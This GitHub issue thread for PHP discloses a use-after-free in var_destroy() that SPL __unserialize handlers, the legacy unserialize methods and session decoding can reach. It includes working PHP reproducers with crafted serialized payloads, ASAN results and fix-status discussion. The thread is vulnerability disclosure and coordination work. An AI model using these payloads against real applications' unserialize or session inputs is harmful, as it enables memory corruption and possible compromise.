Skip to content

var_destroy() UAF also reachable through SplObjectStorage::__unserialize() — separate entry point from #24481 #24674

Open

Description

@srayuth089

Summary

Following up on #24481 — the same var_destroy() use-after-free is also reachable through SplObjectStorage::__unserialize(), which creates its own var_hash context via PHP_VAR_UNSERIALIZE_INIT and calls php_var_unserialize() internally (ext/spl/spl_observer.c).

This means the attack surface is broader than the main unserialize() path: any application that unserializes user-controlled data into an SplObjectStorage (not just raw unserialize()) is affected.

Reproducer

<?php
class TriggerUAF {
    public $tag;
    public function __destruct() {
        // Try multiple backref indices to hit freed extension chunks
        foreach ([1024, 1030, 1040, 1100, 1200, 1500] as $idx) {
            $result = @unserialize("R:{$idx};");
            if ($result !== false && $result !== null) {
                fwrite(STDERR, sprintf("  *** [destruct:%s] R:%d → %s (%s) *** UAF_READ\n",
                    $this->tag, $idx, gettype($result), var_export($result, true)));
                return;
            }
        }
        fwrite(STDERR, "  [destruct:{$this->tag}] all R: indices clean\n");
    }
}

// Build SplObjectStorage payload with >1018 entries (overflow VAR_ENTRIES_MAX)
$store = [];
for ($i = 0; $i < 1100; $i++) {
    $store[] = "i:{$i};i:{$i};";
}
for ($j = 0; $j < 5; $j++) {
    $store[] = "i:" . (9000+$j) . ";O:10:\"TriggerUAF\":1:{s:3:\"tag\";s:5:\"obs{$j}\";}";
}
for ($k = 0; $k < 100; $k++) {
    $store[] = "i:" . (20000+$k) . ";i:" . (20000+$k) . ";";
}
$n = count($store);
$payload = 'O:16:"SplObjectStorage":2:{i:0;a:' . $n . ':{' . implode('', $store) . '}i:1;a:0:{}}';
@unserialize($payload);

Output (PHP 8.4.27, stock CLI, non-ASAN)

*** [destruct:] R:1024 → integer (1021) *** UAF_READ

R:1024 resolves to integer(1021) — a value from the freed var_hash extension chunks. In a clean nested unserialize() call, R:1024 should return false.

Verified on

Branch Result
8.2.35 UAF_READ
8.3.36 UAF_READ
8.4.26 (pre-fix) UAF_READ
8.4.27 (post-fix) UAF_READ
8.4.27 + USE_ZEND_ALLOC=0 UAF_READ

Deterministic: 3/3 runs on 8.4.27, identical output each time.

Mechanism

  1. unserialize($payload) parses the outer O:16:"SplObjectStorage" tag
  2. Instantiates SplObjectStorage and calls its __unserialize() handler
  3. SPL handler (ext/spl/spl_observer.c:858+) does:
    • PHP_VAR_UNSERIALIZE_INIT(var_hash) — creates its own context
    • Iterates entries, calling php_var_unserialize() on each (>1018 entries → extension chunks)
    • var_push_dtor(&var_hash, entry) for each object
  4. PHP_VAR_UNSERIALIZE_DESTROY(var_hash) → calls var_destroy() on the SPL context
  5. var_destroy() frees the extension chunks
  6. Then fires __destruct on entries in the dtor list — without BG(serialize_lock)
  7. The destructor calls unserialize('R:1024;') which reads from the freed chunks

The root cause is the same as #24481 (the var_destroy() function in var_unserializer.re frees chunks before dispatching destructors without taking BG(serialize_lock)), but the entry point is different: the SPL extension's __unserialize handler creates an independent var_hash context that is also vulnerable.

Also affected (same pattern, same var_hash)

  • SplDoublyLinkedList::__unserialize() (ext/spl/spl_dllist.c:1070+)
  • ArrayObject::__unserialize() (ext/spl/spl_array.c:1680+)

These use the same PHP_VAR_UNSERIALIZE_INIT / var_push_dtor / PHP_VAR_UNSERIALIZE_DESTROY pattern. I haven't yet built working reproducers for these (payload format differences), but the code pattern is identical.

Credit

Activity

  1. self-assigned this
    on Oct 25, 2026
  2. srayuth089 commented on Oct 25, 2026

    @srayuth089
    Author

    Update: working reproducers for the two remaining siblings

    Both SplDoublyLinkedList::__unserialize() and ArrayObject::__unserialize() now have deterministic reproducers — same result as the SplObjectStorage one (R:1024 resolves to a value read from the freed extension chunks), verified on stock CLI of 8.4.27, 8.3.36 and 8.2.35 (3/3 runs each):

    *** [dll-obs] R:1024 → integer (1020) *** UAF_READ   ← SplDoublyLinkedList
    *** [ao-obs]  R:1024 → integer (1020) *** UAF_READ   ← ArrayObject
    

    Reproducer (shared trigger + the two payload shapes, learned from serialize() of real objects):

    <?php
    class Trig {
        public $tag;
        public function __destruct() {
            foreach ([1024, 1030, 1040, 1100, 1500] as $idx) {
                $r = @unserialize("R:{$idx};");
                if ($r !== false && $r !== null) {
                    fwrite(STDERR, sprintf("  *** [%s] R:%d → %s (%s) *** UAF_READ\n",
                        $this->tag, $idx, gettype($r), var_export($r, true)));
                    return;
                }
            }
        }
    }
    $n = 1100;                       // > VAR_ENTRIES_MAX (1018)
    $entries = "";
    for ($i = 0; $i < $n - 5; $i++) { $entries .= "i:$i;i:$i;"; }
    $tail = 'i:9001;O:4:"Trig":1:{s:3:"tag";s:7:"TAG";}' . "i:9002;i:42;i:9003;i:43;i:9004;i:44;";
    
    // SplDoublyLinkedList — O:19:"SplDoublyLinkedList":3:{i:0;i:0;i:1;a:N:{…};i:2;a:0:{}}
    @unserialize('O:19:"SplDoublyLinkedList":3:{i:0;i:0;i:1;a:' . $n . ':{' . $entries . str_replace('TAG', 'dll-obs', $tail) . '}i:2;a:0:{}');
    
    // ArrayObject — O:11:"ArrayObject":4:{i:0;i:0;i:1;a:N:{…};i:2;a:0:{}i:3;N;}
    @unserialize('O:11:"ArrayObject":4:{i:0;i:0;i:1;a:' . $n . ':{' . $entries . str_replace('TAG', 'ao-obs', $tail) . '}i:2;a:0:{}i:3;N;}');

    The other SPL/internal classes listed in the report that use the same PHP_VAR_UNSERIALIZE_INIT / var_push_dtor / PHP_VAR_UNSERIALIZE_DESTROY pattern in their __unserialize handlers should be considered reachable through the same construction.

  3. srayuth089 commented on Oct 25, 2026

    @srayuth089
    Author

    Additional entry point: legacy SplObjectStorage::unserialize(string)

    I verified that the legacy method also reaches the same var_destroy() UAF, separately from the SplObjectStorage::__unserialize() path in the report. The reproducer calls $storage->unserialize($wire) directly. In PHP 8.4.26 ASAN, the trace is a heap-use-after-free read in php_var_unserialize() (ext/standard/var_unserializer.c:849); the chunk was freed earlier in var_destroy() (:245). The call stack goes through zim_SplObjectStorage_unserialize() (ext/spl/spl_observer.c:1006). The stock CLI reproducer produced UAF_READ R:1024 => object in 3/3 fresh runs on PHP 8.2.35, 8.3.36, and 8.4.27.

    Minimal reproducer:

    <?php
    class Probe {
        public function __wakeup() {
            $GLOBALS['s']->detach($this);
        }
    
        public function __destruct() {
            foreach ([1024, 1025, 1030, 1040, 1100, 1200, 1500] as $i) {
                $r = @unserialize("R:$i;");
                if ($r !== false && $r !== null) {
                    echo "UAF_READ R:$i => ", gettype($r), " ", var_export($r, true), "\n";
                    return;
                }
            }
        }
    }
    
    $s = new SplObjectStorage;
    $GLOBALS['s'] = $s;
    $n = 1100;
    $wire = "x:i:$n;";
    for ($i = 0; $i < $n - 1; $i++) {
        $wire .= 'O:8:"stdClass":0:{};';
    }
    $wire .= 'O:5:"Probe":0:{};m:a:0:{}';
    $s->unserialize($wire);

    This is an additional legacy-method entry point to the reported root cause, not a claim of a separate root cause or of RCE. The ASAN stack and complete run output are available if useful.

  4. srayuth089 commented on Oct 25, 2026

    @srayuth089
    Author

    Additional ASAN confirmation: legacy SplDoublyLinkedList::unserialize(string)

    I also reproduced the same UAF through the legacy custom-unserialization method, independently of the SplDoublyLinkedList::__unserialize() payload above. The detector creates a list with 2,000 integer entries, then a tail object whose __wakeup() removes itself from the list; its destructor re-enters unserialize('R:1500;') while the custom var_hash teardown is active.

    AddressSanitizer reports heap-use-after-free in php_var_unserialize() on both PHP 8.4.26 (ext/standard/var_unserializer.c:849) and 8.4.27 (:906). The call path goes through SplDoublyLinkedList::unserialize(), and the freed region is the var_entries extension chunk released by var_destroy() before the deferred destructor pass. This confirms the legacy SPL entry point still reaches the same root cause after the 8.4.27 release; it is not a claim of a separate root cause or CVE.

    The reproducer and full ASAN logs are available in my local lab if maintainers want them. The test only detects the invalid read; it does not attempt exploitation.

  5. bukka commented on Oct 30, 2026

    @bukka
    Member

    Closing because this is not a separate SPL var_destroy() UAF. Legacy SPL teardown is covered by 08f4b64; the original live-context reproducers are tracked by #24751.

  6. bukka commented on Oct 30, 2026

    @bukka
    Member

    Oh so it doesn't actually completely fixes this case so re-opening (just the fix was superseded but it was also wrong).

  7. reopened this on Oct 30, 2026
  8. bukka commented on Oct 30, 2026

    @bukka
    Member

    So think 24751 actually addresses the rest completely so it's fine to close this.

  9. bukka commented on Oct 30, 2026

    @bukka
    Member

    Although we don't actually have an issue for this so will re-open again :)

  10. reopened this on Oct 30, 2026
  11. added 2 commits that reference this issue on Oct 30, 2026
    8fbf61a
    98e3b7b
  12. windshock commented on Nov 4, 2026

    @windshock

    Adding our independent measurements on top of the earlier comments by @srayuth089 (legacy SPL variants) and the maintainer's status notes — we were not aware of those when starting our runs, so there is overlap on the SPL entry points; the new pieces from our side are the session-decode entry point, the 8.2.35/8.3.36/8.5.12 rows, the oracle caveat in §4, and the read-site precision in §5.

    One status note that may matter for the fix path: as of 2026-11-05, commit 08f4b64 is not present in the PHP-8.3, PHP-8.4 or PHP-8.5 branches (GitHub compare: diverged), so the Oct 21 emergency releases (8.2.35 / 8.3.36 / 8.4.27 / 8.5.12) remain affected on the entry points below until #24751 lands and is backported.

    We independently reproduced and extended the entry-point map in this report, with ASAN-based confirmation (the original reproducers detect the invalid read via a R: backreference marker — see the caveat in §4):

    1. Legacy SplObjectStorage::unserialize() — ASAN confirmation + 8.5.12.
    Heap-use-after-free 3/3 on 8.4.27 (two builds) and 8.5.12 (not in the report's version list), via the legacy x:i:N; wire format: an entry whose info-field parse fails (O:...:{},BAD) leaves the fully-parsed object unstored, so its destructor runs during the var_destroy() teardown walk and re-enters unserialize("R:i;"). Read site php_var_unserialize (var_unserializer.re:912), freed by var_destroy ← zim_SplObjectStorage_unserialize teardown — same site as the report's trace.

    2. Magic __unserialize() path — ASAN upgrade of the marker-based reproducers.
    The SplDoublyLinkedList/ArrayObject O:-payload reproducers also produce ASAN heap-use-after-free 3/3 per build (8.4.27 ×2, 8.5.12) plus SIGSEGV 3/3 under the stock allocator (wild pointer read through the freed chunk-chain entry — zval_get_type deref of the stale pointer returned by the R lookup). Master is clean in all configurations. One caveat on the original reproducers, see §4.

    3. New entry point not in the report: session deserialization.
    session_decode() / session data decoding (ext/session, php serializer) uses its own PHP_VAR_UNSERIALIZE_INIT context. A failing pair (declared a:N with fewer elements) leaves the parsed object unstored → destroyed during the teardown walk → same re-entry. Heap-use-after-free 3/3 on 8.4.27 (two builds), 8.5.12, and 8.3.36; master clean. This path is reachable from userland (session_decode()) and end-to-end from stored session data: with the session file pre-polluted (attacker-controlled storage premise) and the trigger class defined by the application, session_start()'s automatic decode fires the same UAF — measured 3/3 per emergency-release line (8.3.36 / 8.4.27 / 8.5.12), master clean, 12/12 expected outcomes. Note the contrast with the RFC1867 hook (§7): plain session_start() decoding runs after user code has executed, so a defined trigger class is instantiated normally instead of being neutralized to __PHP_Incomplete_Class.

    4. Reproducer caveat: the R: marker alone is not a reliable oracle.
    With an element-count mismatch (declared a:1100 vs. fewer/more actual elements), the parse bails out and the re-entered unserialize() resolves live entries of the still-registered context — the "UAF_READ" marker fires even on fixed master. The same applies to __unserialize() reproducers with mismatched counts. We'd recommend exact element counts (asserted) plus ASAN (USE_ZEND_ALLOC=0) as the oracle; with mismatched counts the marker only demonstrates a logical violation (live reads), not this UAF.

    5. Trigger structure (for anyone extending the reproducers).
    A successful parse does not fire — parsed objects stay referenced by the storage/list. The trigger requires parsed-but-unstored objects: (a) info/parse failure after the object parses (legacy path), or (b) duplicate-key drops. In a failing parse the failing call's own entries are NULL-marked (3584a98 mitigation), so only entries added by prior successful calls resolve. The boundary is VAR_ENTRIES_MAX (1018 in 8.4.27): with a single chunk everything read is live; once earlier successful calls have spilled into a second chunk, that chunk is freed before the destructors run, and the first re-entrant unserialize() call from any destructor already reads freed memory — the prologue of php_var_unserialize reads the used_slots of the last (freed) chunk before any R: id is even looked up (var_unserializer.re:912), so the exposure is not limited to resolving high ids; the subsequent R lookup through the chunk chain is a second exposure path.

    6. Master fix verification.
    08f4b64 ("Fix GH-24373") — unregistering BG(unserialize).data before var_destroy() — covers all three entry families we tested: legacy SPL, magic __unserialize, and session decode (clean on master in every configuration, including 8.5.12 which predates the commit). This supports the direction of PR #24751.

    7. Boundary notes. The RFC1867 upload-progress hook decode is not reachable (pre-RINIT, objects neutralized to __PHP_Incomplete_Class — verified). Separately: msg_receive()'s failed-unserialize path leaks the partially-unserialized value (LeakSanitizer, 56 B) — likely worth its own report; happy to file separately if useful.

  13. windshock commented on Nov 4, 2026

    @windshock

    Correction to my status note above: I wrote that 08f4b64 is not present in the PHP-8.3, PHP-8.4 or PHP-8.5 branches — that was wrong for 8.4/8.5. GitHub compare confirms 08f4b64 is contained in PHP-8.4 and PHP-8.5 (branch...commit: behind by 141 / 4246 commits, ahead by 0) and is included in 8.4.28RC1 / 8.5.13RC1; only the 8.4.27 / 8.5.12 release tags (cut 2026-10-19, before the 2026-10-22 fix) and the PHP-8.3 branch (diverged) lack it. Sorry for the noise — the practical consequence stands but narrower: the two Oct 21 emergency lines still ship without it, while 8.4/8.5 get it in the next patch; PHP-8.3's status depends on whether the fix qualifies for the security-only branch.

    Also a note on §6 of my comment: since the maintainer's status comments above describe 08f4b64 as superseded/incomplete on its own terms, please read that section as "master as of 2026-11-04 is clean on all three entry families in our runs" rather than as an endorsement of that specific commit — the open fix path remains #24751.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

Labels

No labels
No labels

Type

No type

Projects

No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions